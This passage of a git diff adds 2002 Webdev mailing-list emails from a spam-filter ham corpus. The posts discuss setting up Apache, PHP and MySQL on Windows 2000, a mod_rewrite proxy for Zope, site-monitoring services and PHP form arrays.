had +> to do the same and found any particular nasty gotchas (yes, I know about +> the running Microsoft software one). + +I had Apache, mod_php and MySQL running on windows 95 once :) + +As far as I remember, the only problem was getting the MSI installer installed +on win 95, but that was mentioned in the docs. w2k has that built in, so you +won't have that problem. You should be able to find pre-built binaries for +win32. + +For perl try activestate.com, that's worked for me in the past. + +Nick + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + + diff --git a/bayes/spamham/easy_ham_2/00509.1aed8c49f2619293b85f32f1a9b639e8 b/bayes/spamham/easy_ham_2/00509.1aed8c49f2619293b85f32f1a9b639e8 new file mode 100644 index 0000000..79a0304 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00509.1aed8c49f2619293b85f32f1a9b639e8 @@ -0,0 +1,70 @@ +From webdev-admin@linux.ie Wed Jul 31 11:19:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3FEF7440A8 + for ; Wed, 31 Jul 2002 06:19:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:19:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAC5215483 for + ; Wed, 31 Jul 2002 11:12:05 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA27892; Wed, 31 Jul 2002 11:10:42 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA27855 for ; + Wed, 31 Jul 2002 11:10:37 +0100 +Received: from dialup-0934.dublin.iol.ie ([193.203.147.166] + helo=proxyplus.pro.ie) by mail1.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17ZqJZ-0007vh-00; Wed, 31 Jul 2002 11:02:45 +0100 +Received: from shakespear [192.168.0.2] by Proxy+; Wed, 31 Jul 2002 + 11:05:44 +0100 for multiple recipients +From: "William Harrison - Protocol" +To: "Nick Murtagh" , +Subject: RE: [Webdev] Migrating TO W2K +Date: Wed, 31 Jul 2002 11:05:44 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +In-Reply-To: <200207291944.52213.nickm@go2.ie> +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +Hi Nick + +Try PHPTriad + + http://download.com.com/3000-2165-6474268.html?tag=lst-0-1 + +"PHPTriad is a complete PHP development and server environment for Windows. +It installs PHP, Apache, MySQL, and PHPMyAdmin, both installing and setting +up the environment. Version 2.11 updates all components and it now includes +Perl 5." + +HTH + +Will + + + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + + diff --git a/bayes/spamham/easy_ham_2/00510.009387361ea1c789d9d7e3f027a50af5 b/bayes/spamham/easy_ham_2/00510.009387361ea1c789d9d7e3f027a50af5 new file mode 100644 index 0000000..7d5ce78 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00510.009387361ea1c789d9d7e3f027a50af5 @@ -0,0 +1,80 @@ +From webdev-admin@linux.ie Wed Jul 31 11:29:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 89FC1440A8 + for ; Wed, 31 Jul 2002 06:29:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:29:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VANW215983 for + ; Wed, 31 Jul 2002 11:23:32 +0100 +Received: from lugh (www-data@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA28545; Wed, 31 Jul 2002 11:22:11 +0100 +Received: from ishmael.niallsheridan.com ([217.78.6.179]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA28232 for ; + Wed, 31 Jul 2002 11:18:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.78.6.179] claimed to + be ishmael.niallsheridan.com +Received: by ishmael.niallsheridan.com (Postfix, from userid 500) id + 65C9AC7986; Wed, 31 Jul 2002 06:17:58 -0400 (EDT) +Subject: RE: [Webdev] Migrating TO W2K +From: Niall Sheridan +To: William Harrison - Protocol +Cc: webdev@linux.ie +In-Reply-To: +References: +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Date: 31 Jul 2002 11:17:57 +0100 +Message-Id: <1028110677.1241.46.camel@ishmael.niallsheridan.com> +MIME-Version: 1.0 +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +I thought I read somewhere that work on phpTriad had ceased? +Setting up MySQL/PHP/Perl (activestate)/Apache on win2k server is a +piece of cake anyhow + +Niall + +On Wed, 2002-07-31 at 11:05, William Harrison - Protocol wrote: +> Hi Nick +> +> Try PHPTriad +> +> http://download.com.com/3000-2165-6474268.html?tag=lst-0-1 +> +> "PHPTriad is a complete PHP development and server environment for Windows. +> It installs PHP, Apache, MySQL, and PHPMyAdmin, both installing and setting +> up the environment. Version 2.11 updates all components and it now includes +> Perl 5." +> +> HTH +> +> Will +> +> +> +> +> +> _______________________________________________ +> Webdev mailing list +> Webdev@linux.ie +> http://www.linux.ie/mailman/listinfo/webdev +> + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + + diff --git a/bayes/spamham/easy_ham_2/00511.9de62092d57725e40cb59410c9abfe79 b/bayes/spamham/easy_ham_2/00511.9de62092d57725e40cb59410c9abfe79 new file mode 100644 index 0000000..a50d8eb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00511.9de62092d57725e40cb59410c9abfe79 @@ -0,0 +1,53 @@ +From listmaster@tuatha.org Thu Aug 1 07:01:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 77C8E440A8 + for ; Thu, 1 Aug 2002 02:01:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 07:01:02 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g715rA232199 for + ; Thu, 1 Aug 2002 06:53:10 +0100 +Received: from lugh (list@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA18207 for ; + Thu, 1 Aug 2002 06:52:13 +0100 +Date: Thu, 1 Aug 2002 06:52:13 +0100 +Message-Id: <200208010552.GAA18207@lugh.tuatha.org> +X-Authentication-Warning: lugh.tuatha.org: Host list@localhost [127.0.0.1] + claimed to be lugh +From: listmaster@tuatha.org +Subject: linux.ie mailing list memberships reminder +To: yyyy-webdev@spamassassin.taint.org +X-No-Archive: yes +Precedence: bulk +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Pi-Net Presidency + +This is a reminder, sent out once a month, about your linux.ie mailing +list memberships. It includes your subscription info and how to use +it to change it or unsubscribe from a list. + +You can visit the URLs to change your membership status or +configuration, including unsubscribing, setting digest-style delivery +or disabling delivery altogether (e.g., for a vacation), and so on. + +In addition to the URL interfaces, you can also use email to make such +changes. For more info, send a message to the '-request' address of +the list (for example, webdev-request@linux.ie) containing just the +word 'help' in the message body, and an email message will be sent to +you with instructions. + +If you have questions, problems, comments, etc, send them to +listmaster@tuatha.org. Thanks! + +Passwords for jm-webdev@jmason.org: + +List Password // URL +---- -------- +webdev@linux.ie foo +http://www.linux.ie/mailman/options/webdev/jm-webdev@jmason.org + + diff --git a/bayes/spamham/easy_ham_2/00512.87948db57ca6071196464b4a71de67bc b/bayes/spamham/easy_ham_2/00512.87948db57ca6071196464b4a71de67bc new file mode 100644 index 0000000..5afdff5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00512.87948db57ca6071196464b4a71de67bc @@ -0,0 +1,58 @@ +From webdev-admin@linux.ie Thu Aug 1 17:17:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1886B440F1 + for ; Thu, 1 Aug 2002 12:17:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:17:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71GCl220959 for + ; Thu, 1 Aug 2002 17:12:47 +0100 +Received: from lugh (www-data@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA18889; Thu, 1 Aug 2002 17:11:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host www-data@localhost + [127.0.0.1] claimed to be lugh +Received: from nmrc.ucc.ie (nmrc.ucc.ie [143.239.64.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA18716 for ; Thu, + 1 Aug 2002 17:10:01 +0100 +Received: from localhost (localhost [127.0.0.1]) by mailhost.nmrc.ucc.ie + (Postfix) with ESMTP id E2744EE99 for ; Thu, + 1 Aug 2002 17:09:30 +0100 (BST) +Received: (from lhecking@localhost) by tehran.nmrc.ucc.ie + (8.11.6+Sun/8.11.6) id g71G9U008019 for webdev@linux.ie; Thu, + 1 Aug 2002 17:09:30 +0100 (IST) +Date: Thu, 1 Aug 2002 17:09:29 +0100 +From: Lars Hecking +To: webdev@linux.ie +Message-Id: <20020801160929.GA7945@nmrc.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.5.1i +Subject: [Webdev] php-mailsettings anyone? +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + + + Hi all, + + I'm looking for a copy of the php-mailsettings package, or PHP Cyrus-Tools, + which should include the former. All web references point to the canonical + location, which is unavailable. Author hasn't responded either. + + Thanks! + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + + diff --git a/bayes/spamham/easy_ham_2/00513.47608b2ef244915c124634e19c198150 b/bayes/spamham/easy_ham_2/00513.47608b2ef244915c124634e19c198150 new file mode 100644 index 0000000..000672e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00513.47608b2ef244915c124634e19c198150 @@ -0,0 +1,93 @@ +From webdev-admin@linux.ie Mon Aug 19 11:03:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3EC7D4419B + for ; Mon, 19 Aug 2002 05:54:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J8vg615336 for + ; Mon, 19 Aug 2002 09:57:43 +0100 +Received: from lugh (www-data@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA28019; Mon, 19 Aug 2002 09:57:23 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA11469 for ; Thu, + 15 Aug 2002 17:16:13 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id RAA19401 for ; + Thu, 15 Aug 2002 17:29:01 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7FGFrR23502 for webdev@linux.ie; Thu, 15 Aug 2002 17:15:53 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Thu, 15 Aug 2002 17:15:53 +0100 +From: "John P. Looney" +To: webdev@linux.ie +Message-Id: <20020815161553.GU26818@jinny.ie> +Mail-Followup-To: webdev@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [Webdev] mod_rewrite question +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + + I'm trying to wrap Zope up behind apache, so I can do VirtualHosts for +Zope. + + I've a site on http://ip:8080/mysite. + + I want that to appear as http://mysite.com/ - so: + + + ServerName mysite.com + DocumentRoot /var/www/mysite + RewriteEngine on + RewriteRule ^/(.*) http://localhost:8080/mysite/$1 [P] + + + Now, what happens is that apache grabs http://localhost:8080/mysite/ and spits +it out to the browser. Lovely. all works. + + Except for framed pages (like Zope's management interface). It ends up +looking like: + + + + + + + + + + + + + and of course, that's not what my client should go to. Any ideas what I'm +doing wrong ? + +Kate + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00514.7e91be47b3ec2e2cafef70e325fe51df b/bayes/spamham/easy_ham_2/00514.7e91be47b3ec2e2cafef70e325fe51df new file mode 100644 index 0000000..cfb51be --- /dev/null +++ b/bayes/spamham/easy_ham_2/00514.7e91be47b3ec2e2cafef70e325fe51df @@ -0,0 +1,93 @@ +From webdev-admin@linux.ie Mon Aug 19 12:10:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 599DB43C34 + for ; Mon, 19 Aug 2002 07:10:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 12:10:35 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JBBu620154 for + ; Mon, 19 Aug 2002 12:11:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA02295; Mon, 19 Aug 2002 12:11:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail.online.ie (mail.online.ie [213.159.130.68]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA02257 for ; + Mon, 19 Aug 2002 12:11:46 +0100 +Received: from ade (unknown [217.67.143.26]); by mail.online.ie with SMTP + id 835DA701D; for ; Mon, 19 Aug 2002 12:11:45 +0100 (IST) +Message-Id: <003501c2476f$b5955580$1a8f43d9@ade2> +From: "Adrian Murphy" +To: +Date: Mon, 19 Aug 2002 12:01:02 +0100 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0032_01C24778.16FE3000" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Webdev] site monitroring service? +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +This is a multi-part message in MIME format. + +------=_NextPart_000_0032_01C24778.16FE3000 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Hi, +I wonder could anyone reccommend a good +website monitoring service-with sms alerts. +thx and sorry to be OT. + +Adrian Murphy +2020 Strategies +Beechlawn +Cloncrane +Clonbullogue +Co Offaly +Ireland + +------=_NextPart_000_0032_01C24778.16FE3000 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
+
Hi,
+
I wonder could anyone reccommend a=20 +good
+
website monitoring service-with sms=20 +alerts.
+
thx and sorry to be OT.
+
 
+
Adrian Murphy
2020=20 +Strategies
Beechlawn
Cloncrane
Clonbullogue
Co=20 +Offaly
Ireland
+ +------=_NextPart_000_0032_01C24778.16FE3000-- + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00515.b39512509fd4f39fb1cf50248c37564f b/bayes/spamham/easy_ham_2/00515.b39512509fd4f39fb1cf50248c37564f new file mode 100644 index 0000000..cf6075a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00515.b39512509fd4f39fb1cf50248c37564f @@ -0,0 +1,59 @@ +From webdev-admin@linux.ie Mon Aug 19 12:17:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 96EB343C32 + for ; Mon, 19 Aug 2002 07:17:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 12:17:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JBFg620357 for + ; Mon, 19 Aug 2002 12:15:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA02632; Mon, 19 Aug 2002 12:15:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from salmon.maths.tcd.ie (mmdf@salmon.maths.tcd.ie + [134.226.81.11]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id MAA02590 + for ; Mon, 19 Aug 2002 12:15:36 +0100 +Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id + ; 19 Aug 2002 12:15:35 +0100 (BST) +To: webdev@linux.ie +Subject: Re: [Webdev] site monitroring service? +X-It'S: all good +X-Wigglefluff: fuddtastic +X-Zippy: NOT fucking!! Also not a PACKAGE of LOOSE-LEAF PAPER!! +In-Reply-To: Your message of + "Mon, 19 Aug 2002 12:01:02 BST." + <003501c2476f$b5955580$1a8f43d9@ade2> +Date: Mon, 19 Aug 2002 12:15:35 +0100 +From: Niall Brady +Message-Id: <200208191215.aa10146@salmon.maths.tcd.ie> +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +On Mon, 19 Aug 2002 12:01:02 BST, Adrian Murphy said: +> +>I wonder could anyone reccommend a good +>website monitoring service-with sms alerts. +>thx and sorry to be OT. + +It sounds more like you're looking for a commercial service, in which +case "ain't got a bog", but on the offchance that you're looking for +software, try nagios. (www.nagios.org) + +It'll do that and a lot more. + +-- + Niall + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00516.9cb76e3eb6ac554aab86276264e7a4be b/bayes/spamham/easy_ham_2/00516.9cb76e3eb6ac554aab86276264e7a4be new file mode 100644 index 0000000..e49b789 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00516.9cb76e3eb6ac554aab86276264e7a4be @@ -0,0 +1,73 @@ +From webdev-admin@linux.ie Mon Aug 19 12:30:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3E4F343C34 + for ; Mon, 19 Aug 2002 07:30:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 12:30:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JBRF620841 for + ; Mon, 19 Aug 2002 12:27:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA03151; Mon, 19 Aug 2002 12:27:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay03.esat.net (relay03.esat.net [193.95.141.41]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA03121 for ; + Mon, 19 Aug 2002 12:27:04 +0100 +Received: from (lee.csn.ul.ie) [193.95.184.122] by relay03.esat.net with + esmtp id 17gkgW-0006pv-00; Mon, 19 Aug 2002 12:27:01 +0100 +Message-Id: <5.1.0.14.0.20020819122757.00a9b440@holly.csn.ul.ie> +X-Sender: hostyle@holly.csn.ul.ie +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Date: Mon, 19 Aug 2002 12:28:23 +0100 +To: "Adrian Murphy" , + +From: Lee Hosty +Subject: Re: [Webdev] site monitroring service? +In-Reply-To: <003501c2476f$b5955580$1a8f43d9@ade2> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + + +You could try elive. + +http://monitoring.elive.ie/ + +At 12:01 PM 19/08/2002 +0100, Adrian Murphy wrote: +>Hi, +>I wonder could anyone reccommend a good +>website monitoring service-with sms alerts. +>thx and sorry to be OT. +> +>Adrian Murphy +>2020 Strategies +>Beechlawn +>Cloncrane +>Clonbullogue +>Co Offaly +>Ireland + +Lee Hosty -x- hostyle AT csn.ul.ie -x- +353 (0)86 8768780 +-- +SNITTERFIELD (n.) +Office noticeboard on which snitters (q.v.),cards saying 'You don't have to be +mad to work here, but if you are it helps !!!' and slightly smutty postcards +from ibiza get pinned up by snitterbies (q.v.) + + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00517.791e35e7e482d4fd3ff27e4eb3da18d3 b/bayes/spamham/easy_ham_2/00517.791e35e7e482d4fd3ff27e4eb3da18d3 new file mode 100644 index 0000000..5838aee --- /dev/null +++ b/bayes/spamham/easy_ham_2/00517.791e35e7e482d4fd3ff27e4eb3da18d3 @@ -0,0 +1,72 @@ +From webdev-admin@linux.ie Tue Aug 20 11:51:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A45CC43C36 + for ; Tue, 20 Aug 2002 06:51:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:34 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JHL5Z02133 for + ; Mon, 19 Aug 2002 18:21:05 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA20534; Mon, 19 Aug 2002 18:21:05 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay04.esat.net (relay04.esat.net [193.95.141.42]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA20491 for ; + Mon, 19 Aug 2002 18:21:00 +0100 +Received: from (lee.csn.ul.ie) [193.95.184.122] by relay04.esat.net with + esmtp id 17gqD5-0001xz-00; Mon, 19 Aug 2002 18:21:00 +0100 +Message-Id: <5.1.0.14.0.20020819181835.00ac0eb8@holly.csn.ul.ie> +X-Sender: hostyle@holly.csn.ul.ie +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Date: Mon, 19 Aug 2002 18:23:01 +0100 +To: webdev@linux.ie +From: Lee Hosty +Subject: Re: [Webdev] PHP+Javascript request +In-Reply-To: <3D612687.9090202@heanet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +At 06:10 PM 19/08/2002 +0100, Dave Wilson wrote: + +>In order for PHP to parse the results of the SELECT MULTIPLE after it's +>submitted, the variable name needs to end with []. That's great; PHP will +>take each selected element and plant them as consecutive elements in an +>array. But that makes for quite messy code when trying to link the regions +>SELECT action with the sites SELECT MULTIPLE. Javascript can't refer to +>the SELECT MULTIPLE by name because of the brackets, so I have to refer to +>it by its location in the form. + +er, i understood you until you reached the above. Maybe its my lack of PHP +but why would a variable name _need_ to end with [] ? + +With most languages you parse the submitted form data and should come out +with either variables or an array / hash, which you then work with and name +whatever you like. + + +Lee Hosty -x- hostyle AT csn.ul.ie -x- +353 (0)86 8768780 +-- +YONDER BOGINE (n.) +The kind of restaurant advertised as 'just three minutes from this cinema' +which +clearly nobody ever goes to and, even if they had ever contemplated it, have +certainly changed their mind since seeing the advert. + + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00518.75a6106951badcc0b22c46612fd3b960 b/bayes/spamham/easy_ham_2/00518.75a6106951badcc0b22c46612fd3b960 new file mode 100644 index 0000000..754cfff --- /dev/null +++ b/bayes/spamham/easy_ham_2/00518.75a6106951badcc0b22c46612fd3b960 @@ -0,0 +1,72 @@ +From webdev-admin@linux.ie Tue Aug 20 11:51:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D128143C37 + for ; Tue, 20 Aug 2002 06:51:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:35 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JHPJZ02318 for + ; Mon, 19 Aug 2002 18:25:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA20817; Mon, 19 Aug 2002 18:25:00 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from byron.heanet.ie (byron.heanet.ie [193.1.219.90]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA20788 for ; + Mon, 19 Aug 2002 18:24:55 +0100 +Received: from dhcp169.heanet.ie ([193.1.219.169] helo=heanet.ie) by + byron.heanet.ie with esmtp (Exim 4.05) id 17gqK1-0000R4-00 for + webdev@linux.ie; Mon, 19 Aug 2002 18:28:09 +0100 +Message-Id: <3D612ACA.4050100@heanet.ie> +Date: Mon, 19 Aug 2002 18:28:42 +0100 +From: Dave Wilson +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: webdev@linux.ie +Subject: Re: [Webdev] PHP+Javascript request +References: <5.1.0.14.0.20020819181835.00ac0eb8@holly.csn.ul.ie> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +> er, i understood you until you reached the above. Maybe its my lack of +> PHP but why would a variable name _need_ to end with [] ? +> +> With most languages you parse the submitted form data and should come +> out with either variables or an array / hash, which you then work with +> and name whatever you like. + +IIRC, if the query string contains + +varname=FIRST&varname=SECOND + +then PHP will create a variable called "varname" with result SECOND. +However, if the query string contains + +varname[]=FIRST&varname[]=SECOND + +then PHP will create an array with varname[1]==FIRST and varname[2]==SECOND + +There are other ways to get the data from the HTTP request, and I guess +I'll do that if it turns out to simplify the script that creates the +form; but as i 